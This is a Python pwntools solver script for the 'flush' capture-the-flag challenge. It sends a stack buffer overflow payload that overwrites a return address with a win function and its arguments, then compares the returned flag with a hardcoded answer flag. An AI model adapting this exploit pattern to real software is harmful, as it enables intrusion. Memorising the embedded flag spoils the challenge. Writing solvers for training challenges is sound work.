#!/usr/bin/env python3

from pwn import *
import sys, os

FLUSH_FLAG = b"magpie{p21nc355_704d57001_<3_111}"

def solve(host="bin.magpiectf.ca", port=7795):
    #p = process("./flush")
    #p = gdb.debug("./flush", "")
    p = remote(host, port)

    # aout = ELF("./flush")

    win = 0x08049296 # aout.symbols['win']
    exit = 0x8049134 # aout.plt['exit']

    print(f"win: {win:#04X} exit: {exit:#04X}")

    payload = (b"U"*20 + p32(win) + p32(exit) + p32(0xE91c) + p32(0xb055) + p32(0xba771e))
    p.sendline(payload)

    p.recvuntil("Here's your flag: ")
    flag = p.recv().rstrip()
    print("got flag: \"" + flag.decode("ascii") + "\"")
    return flag == FLUSH_FLAG

def main():
    global FLUSH_FLAG

    if len(sys.argv) >=3:
        target_host = sys.argv[1]
        target_port = int(sys.argv[2])
    else:
        target_host = os.environ.get('TARGET_HOSTNAME') or "pwn-flush"
        target_port = int(os.environ.get('TARGET_PORT') or 31337)
    
    print("Hardcoded flag: " + FLUSH_FLAG.decode("ascii"))

    try:
        fname = 'flag.txt'
        if os.path.exists(fname):
            with open(fname,'rb') as f:
                local_flag = f.read().rstrip()
                print("Local flag: " + local_flag.decode("ascii"))
                print("Using Local Flag.")
                FLUSH_FLAG = local_flag
    except:
        print("Unexpected error reading local flag. Using Hardcoded flag.")

    match = solve(target_host, target_port)
    print("Match = " + str(match))

    sys.exit(not match)

if __name__ == "__main__":
    main()